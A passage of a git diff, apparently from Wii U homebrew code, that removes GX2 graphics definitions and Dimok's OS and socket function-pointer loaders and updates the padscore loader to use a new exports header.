GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004 -#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008 -#define GX2_SURFACE_USE_FTV 0x80000000 -#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE) -#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE) -#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV) -#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface dim -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_DIM_1D 0x00000000 -#define GX2_SURFACE_DIM_2D 0x00000001 -#define GX2_SURFACE_DIM_3D 0x00000002 -#define GX2_SURFACE_DIM_CUBE 0x00000003 -#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004 -#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005 -#define GX2_SURFACE_DIM_2D_MSAA 0x00000006 -#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 AA modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_AA_MODE_1X 0x00000000 -#define GX2_AA_MODE_2X 0x00000001 -#define GX2_AA_MODE_4X 0x00000002 -#define GX2_AA_MODE_8X 0x00000003 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 texture clamp -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TEX_CLAMP_WRAP 0x00000000 -#define GX2_TEX_CLAMP_MIRROR 0x00000001 -#define GX2_TEX_CLAMP_CLAMP 0x00000002 -#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003 -#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004 -#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005 -#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006 -#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 texture filter -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TEX_XY_FILTER_POINT 0x00000000 -#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 TV scan modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TV_SCAN_MODE_NONE 0x00000000 -#define GX2_TV_SCAN_MODE_576I 0x00000001 -#define GX2_TV_SCAN_MODE_480I 0x00000002 -#define GX2_TV_SCAN_MODE_480P 0x00000003 -#define GX2_TV_SCAN_MODE_720P 0x00000004 -#define GX2_TV_SCAN_MODE_1080I 0x00000006 -#define GX2_TV_SCAN_MODE_1080P 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 TV render modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TV_RENDER_480_NARROW 0x00000001 -#define GX2_TV_RENDER_480_WIDE 0x00000002 -#define GX2_TV_RENDER_720 0x00000003 -#define GX2_TV_RENDER_1080 0x00000005 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 DRC render modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_DRC_NONE 0x00000000 -#define GX2_DRC_SINGLE 0x00000001 -#define GX2_DRC_DOUBLE 0x00000002 -#define GX2_DRC_SINGLE_30HZ 0x00000004 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 buffering mode -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BUFFERING_SINGLE 0x00000001 -#define GX2_BUFFERING_DOUBLE 0x00000002 -#define GX2_BUFFERING_TRIPLE 0x00000003 -#define GX2_BUFFERING_QUAD -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 scan targets -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SCAN_TARGET_TV 0x00000001 -#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004 -#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 invalidate types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001 -#define GX2_INVALIDATE_TEXTURE 0x00000002 -#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004 -#define GX2_INVALIDATE_SHADER 0x00000008 -#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010 -#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020 -#define GX2_INVALIDATE_CPU 0x00000040 -#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER) -#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE) -#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK) -#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 swap modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_ENDIANSWAP_DEFAULT 0x00000003 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 tessellation modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000 -#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001 -#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 fetch shader types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000 -#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001 -#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002 -#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003 - - -typedef struct _GX2ContextState { - u8 data[GX2_CONTEXT_STATE_SIZE]; -} GX2ContextState; - -typedef struct _GX2Surface { - s32 dimension; - u32 width; - u32 height; - u32 depth; - u32 num_mips; - s32 format; - s32 aa; - s32 use; - u32 image_size; - void *image_data; - u32 mip_size; - void *mip_data; - s32 tile; - u32 swizzle; - u32 align; - u32 pitch; - u32 mip_offset[13]; -} GX2Surface; - -typedef struct _GX2ColorBuffer { - GX2Surface surface; - u32 view_mip; - u32 view_first_slice; - u32 view_slices_count; - void *aux_data; - u32 aux_size; - u32 regs[5]; -} GX2ColorBuffer; - -typedef struct _GX2DepthBuffer { - GX2Surface surface; - u32 view_mip; - u32 view_first_slice; - u32 view_slices_count; - void *hiZ_data; - u32 hiZ_size; - f32 clear_depth; - u32 clear_stencil; - u32 regs[7]; -} GX2DepthBuffer; - - -typedef struct _GX2Texture { - GX2Surface surface; - u32 view_first_mip; - u32 view_mips_count; - u32 view_first_slice; - u32 view_slices_count; - u32 component_selector; - u32 regs[5]; -} GX2Texture; - - -typedef struct _GX2Sampler { - u32 regs[3]; -} GX2Sampler; - -typedef struct _GX2AttribStream { - u32 location; - u32 buffer; - u32 offset; - s32 format; - s32 index_type; - u32 divisor; - u32 destination_selector; - s32 endian_swap; -} GX2AttribStream; - -typedef struct _GX2FetchShader { - s32 type; - u32 reg; - u32 shader_size; - void *shader_program; - u32 attributes_count; - u32 divisor[3]; -} GX2FetchShader; - -typedef struct _GX2AttribVar -{ - const char *name; - s32 var_type; - u32 array_count; - u32 location; -} GX2AttribVar; - - -typedef struct _GX2UniformBlock { - const char *name; - u32 location; - u32 block_size; -} GX2UniformBlock; - -typedef struct _GX2UniformInitialValue { - f32 value[4]; - u32 offset; -} GX2UniformInitialValue; - -typedef struct _GX2SamplerVar -{ - const char *name; - s32 sampler_type; - u32 location; -} GX2SamplerVar; - -typedef struct _GX2UniformVar -{ - const char *name; - s32 var_type; - u32 array_count; - u32 offset; - u32 block_index; -} GX2UniformVar; - -typedef struct _GX2VertexShader { - u32 regs[52]; - u32 shader_size; - void *shader_data; - s32 shader_mode; - u32 uniform_blocks_count; - GX2UniformBlock *uniform_block; - u32 uniform_vars_count; - GX2UniformVar *uniform_var; - u32 initial_values_count; - GX2UniformInitialValue *initial_value; - u32 loops_count; - void *loops_data; - u32 sampler_vars_count; - GX2SamplerVar *sampler_var; - u32 attribute_vars_count; - GX2AttribVar *attribute_var; - u32 data[6]; - u32 shader_program_buffer[16]; -} GX2VertexShader; - -typedef struct _GX2PixelShader { - u32 regs[41]; - u32 shader_size; - void *shader_data; - s32 shader_mode; - u32 uniform_blocks_count; - GX2UniformBlock *uniform_block; - u32 uniform_vars_count; - GX2UniformVar *uniform_var; - u32 initial_values_count; - GX2UniformInitialValue *initial_value; - u32 loops_count; - void *loops_data; - u32 sampler_vars_count; - GX2SamplerVar *sampler_var; - u32 shader_program_buffer[16]; -} GX2PixelShader; - -static const u32 attribute_dest_comp_selector[20] = { - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW -}; - -static const u32 texture_comp_selector[54] = { - GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 -}; - -typedef struct _GX2Color { - u8 r, g, b, a; -} GX2Color; - -typedef struct _GX2ColorF32 { - f32 r, g, b, a; -} GX2ColorF32; - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/src/dynamic_libs/os_functions.c b/src/dynamic_libs/os_functions.c deleted file mode 100644 index d1ff75b..0000000 --- a/src/dynamic_libs/os_functions.c +++ /dev/null @@ -1,148 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "common/common.h" -#include "os_functions.h" - -unsigned int coreinit_handle = 0; - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Lib handle functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); -EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Thread functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); -EXPORT_DECL(int, OSResumeThread, void *thread); -EXPORT_DECL(int, OSSuspendThread, void *thread); -EXPORT_DECL(int, OSIsThreadTerminated, void *thread); -EXPORT_DECL(int, OSIsThreadSuspended, void *thread); -EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority); -EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val); -EXPORT_DECL(void, OSDetachThread, void * thread); -EXPORT_DECL(void, OSSleepTicks, u64 ticks); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Mutex functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(void, OSInitMutex, void* mutex); -EXPORT_DECL(void, OSLockMutex, void* mutex); -EXPORT_DECL(void, OSUnlockMutex, void* mutex); -EXPORT_DECL(int, OSTryLockMutex, void* mutex); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! System functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(u64, OSGetTitleID, void); -EXPORT_DECL(void, __Exit, void); -EXPORT_DECL(void, OSFatal, const char* msg); -EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback newCallback); -EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); -EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); -EXPORT_DECL(void*, OSEffectiveToPhysical, const void*); -EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Memory functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx); -EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap); -EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap); - -EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena); -EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align); -EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align); -EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode); -EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align); -EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags); -EXPORT_DECL(void *, MEMDestroyExpHeap, int heap); -EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Loader functions (not real rpl) -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, LiWaitIopComplete, int unknown_syscall_arg_r3, int * remaining_bytes); -EXPORT_DECL(int, LiWaitIopCompleteWithInterrupts, int unknown_syscall_arg_r3, int * remaining_bytes); - -void InitOSFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Lib handle functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire); - EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport); - - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! System functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSFatal); - OS_FIND_EXPORT(coreinit_handle, OSGetTitleID); - OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback); - OS_FIND_EXPORT(coreinit_handle, DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical); - OS_FIND_EXPORT(coreinit_handle, __os_snprintf); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Thread functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSCreateThread); - OS_FIND_EXPORT(coreinit_handle, OSResumeThread); - OS_FIND_EXPORT(coreinit_handle, OSSuspendThread); - OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated); - OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended); - OS_FIND_EXPORT(coreinit_handle, OSJoinThread); - OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority); - OS_FIND_EXPORT(coreinit_handle, OSDetachThread); - OS_FIND_EXPORT(coreinit_handle, OSSleepTicks); - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Mutex functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OS_FIND_EXPORT(coreinit_handle, OSInitMutex); - OS_FIND_EXPORT(coreinit_handle, OSLockMutex); - OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex); - OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex); - - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - //! Memory functions - //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - - OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle); - OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap); - OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx); - OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap); - OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap); -} - diff --git a/src/dynamic_libs/os_functions.h b/src/dynamic_libs/os_functions.h deleted file mode 100644 index d4f9eda..0000000 --- a/src/dynamic_libs/os_functions.h +++ /dev/null @@ -1,119 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __OS_FUNCTIONS_H_ -#define __OS_FUNCTIONS_H_ - -#include -#include "common/os_defs.h" - -#ifdef __cplusplus -extern "C" { -#endif - -#define BUS_SPEED 248625000 -#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) -#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) -#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) - -#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) -#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) - -#define FLUSH_DATA_BLOCK(addr) asm volatile("dcbf 0, %0; sync" : : "r"(((addr) & ~31))) -#define INVAL_DATA_BLOCK(addr) asm volatile("dcbi 0, %0; sync" : : "r"(((addr) & ~31))) - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; -#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); - - -#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val - -#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func, funcPointer); - -#define OS_FIND_EXPORT_EX(handle, func, func_p) \ - funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func_p, funcPointer); - -#define OS_MUTEX_SIZE 44 - -/* Handle for coreinit */ -extern unsigned int coreinit_handle; -void InitOSFunctionPointers(void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Lib handle functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSDynLoad_Acquire)(const char* rpl, u32 *handle); -extern int (* OSDynLoad_FindExport)(u32 handle, int isdata, const char *symbol, void *address); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Thread functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern int (* OSCreateThread)(void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); -extern int (* OSResumeThread)(void *thread); -extern int (* OSSuspendThread)(void *thread); -extern int (* OSIsThreadTerminated)(void *thread); -extern int (* OSIsThreadSuspended)(void *thread); -extern int (* OSJoinThread)(void * thread, int * ret_val); -extern int (* OSSetThreadPriority)(void * thread, int priority); -extern void (* OSDetachThread)(void * thread); -extern void (* OSSleepTicks)(u64 ticks); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Mutex functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern void (* OSInitMutex)(void* mutex); -extern void (* OSLockMutex)(void* mutex); -extern void (* OSUnlockMutex)(void* mutex); -extern int (* OSTryLockMutex)(void* mutex); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! System functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern u64 (* OSGetTitleID)(void); -extern void (* __Exit)(void); -extern void (* OSFatal)(const char* msg); -extern void (* DCFlushRange)(const void *addr, u32 length); -extern void (* ICInvalidateRange)(const void *addr, u32 length); -extern void* (* OSEffectiveToPhysical)(const void*); -extern int (* __os_snprintf)(char* s, int n, const char * format, ...); - -typedef unsigned char (*exception_callback)(void * interruptedContext); -extern void (* OSSetExceptionCallback)(u8 exceptionType, exception_callback newCallback); - -extern int (* LiWaitIopComplete)(int unknown_syscall_arg_r3, int * remaining_bytes); -extern int (* LiWaitIopCompleteWithInterrupts)(int unknown_syscall_arg_r3, int * remaining_bytes); - - -#ifdef __cplusplus -} -#endif - -#endif // __OS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/padscore_functions.c b/src/dynamic_libs/padscore_functions.c index c51764f..698ef63 100644 --- a/src/dynamic_libs/padscore_functions.c +++ b/src/dynamic_libs/padscore_functions.c @@ -21,7 +21,7 @@ * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ -#include "os_functions.h" +#include "exports.h" #include "padscore_functions.h" EXPORT_DECL(void, KPADInit, void); @@ -34,7 +34,7 @@ EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size); void InitPadScoreFunctionPointers(void) { unsigned int *funcPointer = 0; - unsigned int padscore_handle; + OSDynLoadModule padscore_handle; OSDynLoad_Acquire("padscore.rpl", &padscore_handle); OS_FIND_EXPORT(padscore_handle, KPADInit); diff --git a/src/dynamic_libs/padscore_functions.h b/src/dynamic_libs/padscore_functions.h index 26eda1a..68cf989 100644 --- a/src/dynamic_libs/padscore_functions.h +++ b/src/dynamic_libs/padscore_functions.h @@ -28,7 +28,7 @@ extern "C" { #endif -#include +#include "common/types.h" #define WPAD_BUTTON_LEFT 0x0001 #define WPAD_BUTTON_RIGHT 0x0002 diff --git a/src/dynamic_libs/socket_functions.c b/src/dynamic_libs/socket_functions.c deleted file mode 100644 index aac9e8d..0000000 --- a/src/dynamic_libs/socket_functions.c +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "socket_functions.h" - -u32 hostIpAddress = 0; - -EXPORT_DECL(void, socket_lib_init, void); -EXPORT_DECL(int, socket, int domain, int type, int protocol); -EXPORT_DECL(int, socketclose, int s); -EXPORT_DECL(int, shutdown, int s, int how); -EXPORT_DECL(int, connect, int s, void *addr, int addrlen); -EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen); -EXPORT_DECL(int, listen, s32 s,u32 backlog); -EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen); -EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags); -EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags); -EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); -EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen); -EXPORT_DECL(char *, inet_ntoa, struct in_addr in); -EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp); - -void InitSocketFunctionPointers(void) -{ - unsigned int nsysnet_handle; - unsigned int *funcPointer = 0; - OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); - - OS_FIND_EXPORT(nsysnet_handle, socket_lib_init); - OS_FIND_EXPORT(nsysnet_handle, socket); - OS_FIND_EXPORT(nsysnet_handle, socketclose); - OS_FIND_EXPORT(nsysnet_handle, shutdown); - OS_FIND_EXPORT(nsysnet_handle, connect); - OS_FIND_EXPORT(nsysnet_handle, bind); - OS_FIND_EXPORT(nsysnet_handle, listen); - OS_FIND_EXPORT(nsysnet_handle, accept); - OS_FIND_EXPORT(nsysnet_handle, send); - OS_FIND_EXPORT(nsysnet_handle, recv); - OS_FIND_EXPORT(nsysnet_handle, sendto); - OS_FIND_EXPORT(nsysnet_handle, setsockopt); - OS_FIND_EXPORT(nsysnet_handle, inet_ntoa); - OS_FIND_EXPORT(nsysnet_handle, inet_aton); - - socket_lib_init(); -} - diff --git a/src/dynamic_libs/socket_functions.h b/src/dynamic_libs/socket_functions.h deleted file mode 100644 index f954423..0000000 --- a/src/dynamic_libs/socket_functions.h +++ /dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SOCKET_FUNCTIONS_H_ -#define __SOCKET_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -#define INADDR_ANY 0 - -#define AF_INET 2 - -#define SHUT_RD 0 -#define SHUT_WR 1 -#define SHUT_RDWR 2 - -#define SOCK_STREAM 1 -#define SOCK_DGRAM 2 - -#define IPPROTO_IP 0 -#define IPPROTO_TCP 6 -#define IPPROTO_UDP 17 - -#define TCP_NODELAY 0x2004 - -#define SOL_SOCKET -1 -#define SO_REUSEADDR 0x0004 -#define SO_NONBLOCK 0x1016 